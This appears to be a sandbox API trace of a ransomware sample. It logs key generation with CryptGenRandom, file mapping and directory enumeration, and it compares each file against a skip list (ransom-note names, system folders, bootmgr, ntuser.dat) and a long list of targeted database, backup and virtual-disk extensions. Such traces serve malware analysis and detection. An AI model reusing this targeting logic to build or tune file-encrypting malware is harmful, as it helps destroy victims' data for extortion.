	[0065.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.737] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.737] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.737] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.738] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33a40, lpName=0x0) returned 0x150
	[0065.739] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33a40) returned 0x120000
	[0065.751] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.752] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.752] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.752] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.754] CloseHandle (hObject=0x150) returned 1
	[0065.754] CloseHandle (hObject=0x118) returned 1
	[0065.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.756] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="..") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="windows") returned -1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="bootmgr") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="temp") returned -1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="pagefile.sys") returned -1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="boot") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="ids.txt") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="ntuser.dat") returned -1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="perflogs") returned -1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2="MSBuild") returned -1
	[0065.756] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53
	[0065.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml") returned 76
	[0065.756] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll" | out: lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll"
	[0065.756] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53
	[0065.756] lstrlenW (lpString="Apollon865") returned 10
	[0065.756] lstrcmpiW (lpString1="LRHost.dll", lpString2="Apollon865") returned 1
	[0065.756] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".dll") returned 1
	[0065.757] lstrlenW (lpString=".lnk") returned 4
	[0065.757] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".lnk") returned 1
	[0065.757] lstrlenW (lpString=".ini") returned 4
	[0065.757] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".ini") returned 1
	[0065.757] lstrlenW (lpString=".sys") returned 4
	[0065.757] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", lpString2=".sys") returned 1
	[0065.757] lstrlenW (lpString="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 53
	[0065.757] lstrlenW (lpString="bak") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0065.757] lstrlenW (lpString="ba_") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0065.757] lstrlenW (lpString="dbb") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0065.757] lstrlenW (lpString="vmdk") returned 4
	[0065.757] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0065.757] lstrlenW (lpString="rar") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0065.757] lstrlenW (lpString="zip") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0065.757] lstrlenW (lpString="tgz") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0065.757] lstrlenW (lpString="vbox") returned 4
	[0065.757] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0065.757] lstrlenW (lpString="vdi") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0065.757] lstrlenW (lpString="vhd") returned 3
	[0065.757] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0065.757] lstrlenW (lpString="vhdx") returned 4
	[0065.757] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0065.757] lstrlenW (lpString="avhd") returned 4
	[0065.757] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0065.757] lstrlenW (lpString="db") returned 2
	[0065.757] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0065.757] lstrlenW (lpString="db2") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0065.758] lstrlenW (lpString="db3") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0065.758] lstrlenW (lpString="dbf") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0065.758] lstrlenW (lpString="mdf") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0065.758] lstrlenW (lpString="mdb") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0065.758] lstrlenW (lpString="sql") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0065.758] lstrlenW (lpString="sqlite") returned 6
	[0065.758] lstrcmpiW (lpString1="st.dll", lpString2="sqlite") returned 1
	[0065.758] lstrlenW (lpString="sqlite3") returned 7
	[0065.758] lstrcmpiW (lpString1="ost.dll", lpString2="sqlite3") returned -1
	[0065.758] lstrlenW (lpString="sqlitedb") returned 8
	[0065.758] lstrcmpiW (lpString1="Host.dll", lpString2="sqlitedb") returned -1
	[0065.758] lstrlenW (lpString="xml") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0065.758] lstrlenW (lpString="$er") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0065.758] lstrlenW (lpString="4dd") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0065.758] lstrlenW (lpString="4dl") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0065.758] lstrlenW (lpString="^^^") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0065.758] lstrlenW (lpString="abs") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0065.758] lstrlenW (lpString="abx") returned 3
	[0065.758] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0065.758] lstrlenW (lpString="accdb") returned 5
	[0065.758] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1
	[0065.758] lstrlenW (lpString="accdc") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1
	[0065.759] lstrlenW (lpString="accde") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1
	[0065.759] lstrlenW (lpString="accdr") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1
	[0065.759] lstrlenW (lpString="accdt") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1
	[0065.759] lstrlenW (lpString="accdw") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1
	[0065.759] lstrlenW (lpString="accft") returned 5
	[0065.759] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1
	[0065.759] lstrlenW (lpString="adb") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.759] lstrlenW (lpString="adb") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.759] lstrlenW (lpString="ade") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0065.759] lstrlenW (lpString="adf") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0065.759] lstrlenW (lpString="adn") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0065.759] lstrlenW (lpString="adp") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0065.759] lstrlenW (lpString="alf") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0065.759] lstrlenW (lpString="ask") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0065.759] lstrlenW (lpString="btr") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0065.759] lstrlenW (lpString="cat") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0065.759] lstrlenW (lpString="cdb") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0065.759] lstrlenW (lpString="ckp") returned 3
	[0065.759] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0065.760] lstrlenW (lpString="cma") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0065.760] lstrlenW (lpString="cpd") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0065.760] lstrlenW (lpString="dacpac") returned 6
	[0065.760] lstrcmpiW (lpString1="st.dll", lpString2="dacpac") returned 1
	[0065.760] lstrlenW (lpString="dad") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0065.760] lstrlenW (lpString="dadiagrams") returned 10
	[0065.760] lstrcmpiW (lpString1="LRHost.dll", lpString2="dadiagrams") returned 1
	[0065.760] lstrlenW (lpString="daschema") returned 8
	[0065.760] lstrcmpiW (lpString1="Host.dll", lpString2="daschema") returned 1
	[0065.760] lstrlenW (lpString="db-journal") returned 10
	[0065.760] lstrcmpiW (lpString1="LRHost.dll", lpString2="db-journal") returned 1
	[0065.760] lstrlenW (lpString="db-shm") returned 6
	[0065.760] lstrcmpiW (lpString1="st.dll", lpString2="db-shm") returned 1
	[0065.760] lstrlenW (lpString="db-wal") returned 6
	[0065.760] lstrcmpiW (lpString1="st.dll", lpString2="db-wal") returned 1
	[0065.760] lstrlenW (lpString="dbc") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0065.760] lstrlenW (lpString="dbs") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0065.760] lstrlenW (lpString="dbt") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0065.760] lstrlenW (lpString="dbv") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0065.760] lstrlenW (lpString="dbx") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0065.760] lstrlenW (lpString="dcb") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0065.760] lstrlenW (lpString="dct") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0065.760] lstrlenW (lpString="dcx") returned 3
	[0065.760] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0065.761] lstrlenW (lpString="ddl") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0065.761] lstrlenW (lpString="dlis") returned 4
	[0065.761] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0065.761] lstrlenW (lpString="dp1") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0065.761] lstrlenW (lpString="dqy") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0065.761] lstrlenW (lpString="dsk") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0065.761] lstrlenW (lpString="dsn") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0065.761] lstrlenW (lpString="dtsx") returned 4
	[0065.761] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0065.761] lstrlenW (lpString="dxl") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0065.761] lstrlenW (lpString="eco") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0065.761] lstrlenW (lpString="ecx") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0065.761] lstrlenW (lpString="edb") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0065.761] lstrlenW (lpString="epim") returned 4
	[0065.761] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0065.761] lstrlenW (lpString="fcd") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0065.761] lstrlenW (lpString="fdb") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0065.761] lstrlenW (lpString="fic") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0065.761] lstrlenW (lpString="flexolibrary") returned 12
	[0065.761] lstrcmpiW (lpString1=".CLRHost.dll", lpString2="flexolibrary") returned -1
	[0065.761] lstrlenW (lpString="fm5") returned 3
	[0065.761] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0065.761] lstrlenW (lpString="fmp") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0065.762] lstrlenW (lpString="fmp12") returned 5
	[0065.762] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1
	[0065.762] lstrlenW (lpString="fmpsl") returned 5
	[0065.762] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1
	[0065.762] lstrlenW (lpString="fol") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0065.762] lstrlenW (lpString="fp3") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0065.762] lstrlenW (lpString="fp4") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0065.762] lstrlenW (lpString="fp5") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0065.762] lstrlenW (lpString="fp7") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0065.762] lstrlenW (lpString="fpt") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0065.762] lstrlenW (lpString="frm") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0065.762] lstrlenW (lpString="gdb") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.762] lstrlenW (lpString="gdb") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0065.762] lstrlenW (lpString="grdb") returned 4
	[0065.762] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0065.762] lstrlenW (lpString="gwi") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0065.762] lstrlenW (lpString="hdb") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0065.762] lstrlenW (lpString="his") returned 3
	[0065.762] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0065.762] lstrlenW (lpString="ib") returned 2
	[0065.762] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0065.762] lstrlenW (lpString="idb") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0065.763] lstrlenW (lpString="ihx") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0065.763] lstrlenW (lpString="itdb") returned 4
	[0065.763] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0065.763] lstrlenW (lpString="itw") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0065.763] lstrlenW (lpString="jet") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0065.763] lstrlenW (lpString="jtx") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0065.763] lstrlenW (lpString="kdb") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0065.763] lstrlenW (lpString="kexi") returned 4
	[0065.763] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0065.763] lstrlenW (lpString="kexic") returned 5
	[0065.763] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1
	[0065.763] lstrlenW (lpString="kexis") returned 5
	[0065.763] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1
	[0065.763] lstrlenW (lpString="lgc") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0065.763] lstrlenW (lpString="lwx") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0065.763] lstrlenW (lpString="maf") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0065.763] lstrlenW (lpString="maq") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0065.763] lstrlenW (lpString="mar") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0065.763] lstrlenW (lpString="marshal") returned 7
	[0065.763] lstrcmpiW (lpString1="ost.dll", lpString2="marshal") returned 1
	[0065.763] lstrlenW (lpString="mas") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0065.763] lstrlenW (lpString="mav") returned 3
	[0065.763] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0065.764] lstrlenW (lpString="maw") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0065.764] lstrlenW (lpString="mdbhtml") returned 7
	[0065.764] lstrcmpiW (lpString1="ost.dll", lpString2="mdbhtml") returned 1
	[0065.764] lstrlenW (lpString="mdn") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0065.764] lstrlenW (lpString="mdt") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0065.764] lstrlenW (lpString="mfd") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0065.764] lstrlenW (lpString="mpd") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0065.764] lstrlenW (lpString="mrg") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0065.764] lstrlenW (lpString="mud") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0065.764] lstrlenW (lpString="mwb") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0065.764] lstrlenW (lpString="myd") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0065.764] lstrlenW (lpString="ndf") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0065.764] lstrlenW (lpString="nnt") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0065.764] lstrlenW (lpString="nrmlib") returned 6
	[0065.764] lstrcmpiW (lpString1="st.dll", lpString2="nrmlib") returned 1
	[0065.764] lstrlenW (lpString="ns2") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0065.764] lstrlenW (lpString="ns3") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0065.764] lstrlenW (lpString="ns4") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0065.764] lstrlenW (lpString="nsf") returned 3
	[0065.764] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0065.765] lstrlenW (lpString="nv") returned 2
	[0065.765] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0065.765] lstrlenW (lpString="nv2") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0065.765] lstrlenW (lpString="nwdb") returned 4
	[0065.765] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0065.765] lstrlenW (lpString="nyf") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0065.765] lstrlenW (lpString="odb") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.765] lstrlenW (lpString="odb") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0065.765] lstrlenW (lpString="oqy") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0065.765] lstrlenW (lpString="ora") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0065.765] lstrlenW (lpString="orx") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0065.765] lstrlenW (lpString="owc") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0065.765] lstrlenW (lpString="p96") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0065.765] lstrlenW (lpString="p97") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0065.765] lstrlenW (lpString="pan") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0065.765] lstrlenW (lpString="pdb") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0065.765] lstrlenW (lpString="pdm") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0065.765] lstrlenW (lpString="pnz") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0065.765] lstrlenW (lpString="qry") returned 3
	[0065.765] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0065.766] lstrlenW (lpString="qvd") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0065.766] lstrlenW (lpString="rbf") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0065.766] lstrlenW (lpString="rctd") returned 4
	[0065.766] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0065.766] lstrlenW (lpString="rod") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0065.766] lstrlenW (lpString="rodx") returned 4
	[0065.766] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0065.766] lstrlenW (lpString="rpd") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0065.766] lstrlenW (lpString="rsd") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0065.766] lstrlenW (lpString="sas7bdat") returned 8
	[0065.766] lstrcmpiW (lpString1="Host.dll", lpString2="sas7bdat") returned -1
	[0065.766] lstrlenW (lpString="sbf") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0065.766] lstrlenW (lpString="scx") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0065.766] lstrlenW (lpString="sdb") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0065.766] lstrlenW (lpString="sdc") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0065.766] lstrlenW (lpString="sdf") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0065.766] lstrlenW (lpString="sis") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0065.766] lstrlenW (lpString="spq") returned 3
	[0065.766] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0065.766] lstrlenW (lpString="te") returned 2
	[0065.766] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0065.766] lstrlenW (lpString="teacher") returned 7
	[0065.766] lstrcmpiW (lpString1="ost.dll", lpString2="teacher") returned -1
	[0065.766] lstrlenW (lpString="tmd") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0065.767] lstrlenW (lpString="tps") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0065.767] lstrlenW (lpString="trc") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.767] lstrlenW (lpString="trc") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0065.767] lstrlenW (lpString="trm") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0065.767] lstrlenW (lpString="udb") returned 3
